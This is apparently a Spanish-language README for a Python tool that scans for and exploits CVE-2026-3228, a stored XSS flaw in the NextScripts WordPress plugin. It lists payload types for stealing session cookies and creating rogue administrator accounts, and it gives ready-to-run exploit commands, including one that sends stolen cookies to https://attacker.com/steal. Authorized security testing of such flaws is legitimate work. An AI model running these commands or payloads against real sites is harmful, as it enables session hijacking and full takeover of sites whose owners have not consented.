
Escanea y explota CVE-2026-3228, un XSS almacenado en el plugin de WordPress NextScripts, con detección sin autenticación, comprobaciones autenticadas e inyección de payloads para PoC, robo de cookies o creación de administradores.
CVE-2026-3228 - Escáner y Exploit de XSS Almacenado para el Plugin de WordPress NextScripts
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Autor: NULL200OK
Una herramienta integral en Python para escanear y explotar CVE-2026-3228, una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado en el plugin de WordPress NextScripts: Social Networks Auto-Poster (versiones ≤ 4.4.6).
La vulnerabilidad permite a usuarios autenticados con acceso de nivel Colaborador o superior inyectar JavaScript arbitrario a través del shortcode [nxs_fbembed]. Cuando un administrador visualiza la publicación infectada, el script se ejecuta en su navegador, lo que potencialmente conduce al secuestro de sesión, creación de cuentas de administrador o compromiso del sitio.
📦 Características
info – Muestra información detallada del CVE (descripción, causa raíz, impacto).
scan – Escaneo previo a la autenticación para detectar el plugin y su versión.
check – Verificación integral con credenciales (inicio de sesión, verificación de privilegios, detección de versión).
exploit – Inyecta payloads XSS maliciosos en una nueva publicación utilizando el shortcode vulnerable.
Múltiples tipos de payload:
alert – Cuadro de alerta simple para prueba de concepto.
cookie – Roba cookies de sesión y las envía a una URL de callback.
admin – Intenta crear un nuevo usuario administrador (requiere que un administrador visualice la página).
html – Inyección HTML básica con eventos onerror.
custom – JavaScript proporcionado por el usuario.
all – Inyecta todos los tipos de payload en publicaciones separadas.
Autenticación automática – Gestiona el inicio de sesión de WordPress, el manejo de sesiones y la extracción de nonces.
Métodos de inyección alternativos – Primero intenta con la API REST, luego con el envío tradicional de formularios.
Salida amigable para el usuario – Mensajes de estado con códigos de color y guía clara paso a paso.
🚨 Resumen de la Vulnerabilidad
ID del CVE: CVE-2026-3228
Puntuación CVSS: 6.4 (Media)
Plugin Afectado: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Causa Raíz:
Sanitización insuficiente de la entrada del valor de metadatos de publicación snapFB.
Escapado de salida insuficiente al renderizar el shortcode [nxs_fbembed].
Privilegios Requeridos: Cuenta de nivel Colaborador o superior.
Impacto: Un atacante puede ejecutar JavaScript arbitrario en el contexto de cualquier usuario (incluidos los administradores) que visualice la publicación infectada, lo que conduce al compromiso total del sitio.
⚙️ Requisitos
Python 3.6+
requests
beautifulsoup4
Instalar dependencias:
bash
pip install requests beautifulsoup4
🔧 Instalación
bash
cd CVE-2026-3228
📚 Uso
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - Escáner y Exploit de XSS Almacenado para el Plugin de WordPress NextScripts
argumentos posicionales:
{info,scan,check,exploit}
info Muestra información detallada sobre el CVE
scan Comprueba si el objetivo es vulnerable (pre-autenticación)
check Verificación integral con credenciales
exploit Explota la vulnerabilidad (requiere credenciales válidas)
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Payload de alerta básico (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Robar cookies (requiere un listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Intentar crear un usuario administrador (cuando un administrador visualice la página)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Inyectar todos los tipos de payload
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
JavaScript personalizado
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 Cómo Funciona (Paso a Paso)
Autenticación – El script inicia sesión en WordPress utilizando las credenciales proporcionadas y mantiene una sesión.
Verificación de Privilegios – Verifica que el usuario conectado tenga al menos acceso de nivel Colaborador (requerido para crear publicaciones).
Generación del Payload – Crea payloads de JavaScript según el tipo elegido.
Inyección – Crea una nueva publicación que contiene el shortcode vulnerable [nxs_fbembed]. El script malicioso se coloca en el campo de metadatos de publicación snapFB, que no está correctamente sanitizado por el plugin.
Almacenamiento – La publicación se publica (o se guarda como borrador) y el payload se almacena en la base de datos.
Activación – Cuando un administrador (o cualquier usuario) visualiza la publicación, el script sin sanitizar se renderiza y se ejecuta en su navegador.
Post‑Explotación – Dependiendo del payload, el atacante puede robar cookies, crear cuentas de administrador o realizar otras acciones.
El script intenta la inyección a través de la API REST de WordPress primero (más rápida y limpia). Si falla, recurre al envío tradicional de formularios, extrayendo los nonces necesarios de la página del editor de publicaciones.
⚠️ Aviso Legal
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. El autor (NULL200OK) no asume ninguna responsabilidad y no se hace responsable de ningún uso indebido o daño causado por este script.
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT – consulta el archivo LICENSE para más detalles.
📬 Referencias
MITRE CVE‑2026‑3228 (placeholder)
Directorio de Plugins de WordPress
OWASP Stored XSS